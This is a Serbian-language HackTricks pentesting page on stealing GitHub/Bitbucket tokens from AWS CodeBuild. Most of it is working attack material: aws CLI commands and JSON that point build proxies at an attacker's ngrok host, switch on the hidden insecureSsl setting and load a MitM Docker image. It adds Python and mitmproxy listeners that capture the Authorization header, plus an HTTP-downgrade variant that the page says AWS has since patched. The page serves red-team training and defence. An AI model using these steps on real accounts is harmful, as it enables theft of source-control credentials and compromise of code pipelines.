AWS Codebuild - Token Leakage

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Oporavi konfigurisane Github/Bitbucket Tokens

Prvo proveri da li postoje konfigurisani source credentials koje možeš leak:

aws codebuild list-source-credentials

Putem Docker Image

Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete exfiltrate taj access (GH token or OAuth token) tako što ćete naterati Codebuild da use an specific docker image za pokretanje build-a projekta.

U tu svrhu možete create a new Codebuild project ili promeniti environment postojećeg da podesite Docker image.

Docker image koji možete koristiti je https://github.com/carlospolop/docker-mitm. Ovo je vrlo osnovni Docker image koji će postaviti env variables https_proxy, http_proxy i SSL_CERT_FILE. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u https_proxy i http_proxy i da verujete SSL CERT navedenom u SSL_CERT_FILE.

  1. Kreirajte i otpremite svoj Docker MitM image
  • Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i izgradite Docker image.
  • NE PODEŠAVAJTE http_proxy kako ne biste presretali zahteve ka metadata endpoint-u.
  • Možete koristiti ngrok npr. ngrok tcp 4444 da podesite proxy na vaš host
  • Kada izgradite Docker image, otpremite ga u javni repo (Dockerhub, ECR…)
  1. Podesite environment
  • Kreirajte novi Codebuild project ili izmenite environment postojećeg.
  • Podesite projekat da koristi prethodno generisani Docker image
  1. Podesite MitM proxy na vašem hostu
  • Kao što je naznačeno u Github repo možete koristiti nešto poput:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Korišćena je mitmproxy verzija 9.0.1, prijavljeno je da sa verzijom 10 ovo možda neće raditi.

  1. Pokrenite build i uhvatite kredencijale
  • Možete videti token u Authorization zaglavlju:

Ovo se takođe može uraditi iz aws cli pomoću nečeg poput

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Putem insecureSSL

Codebuild projekti imaju podešavanje zvano insecureSsl koje je skriveno u web interfejsu i može se menjati samo preko API-ja.
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom bez provere sertifikata platforme.

  • Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
aws codebuild batch-get-projects --name <proj-name>
  • Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta insecureSsl na True. U nastavku je primer mog ažuriranja projekta — obrati pažnju na insecureSsl=True na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
  • Takođe, dodaj i promenljive okruženja http_proxy i https_proxy koje upućuju na tvoj tcp ngrok, na primer:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na kraju, kliknite na Build the project, credentials će biti poslati nešifrovano (base64) na mitm port:

Preko HTTP protokola

[!TIP] > Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)

Napadač sa povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token ili, ako su permisije konfigurisanе preko OAuth-a, privremeni OAuth token koji se koristi za pristup kodu.

  • Napadač može da doda environment promenljive http_proxy i https_proxy u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer http://5.tcp.eu.ngrok.io:14972).
  • Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: http://github.com/carlospolop-forks/TestActions
  • Zatim pokrenite osnovni primer sa https://github.com/synchronizing/mitm na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Zatim, kliknite na Build the project ili pokrenite build iz komandne linije:
aws codebuild start-build --project-name <proj-name>
  • Na kraju, credentials će biti poslati u čistom tekstu (base64) na mitm port:

Warning

Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis.

Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera

Za lanac zaobilaženja webhook-a pokrenut PR-om (ACTOR_ACCOUNT_ID regex + untrusted PR execution), proveri:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks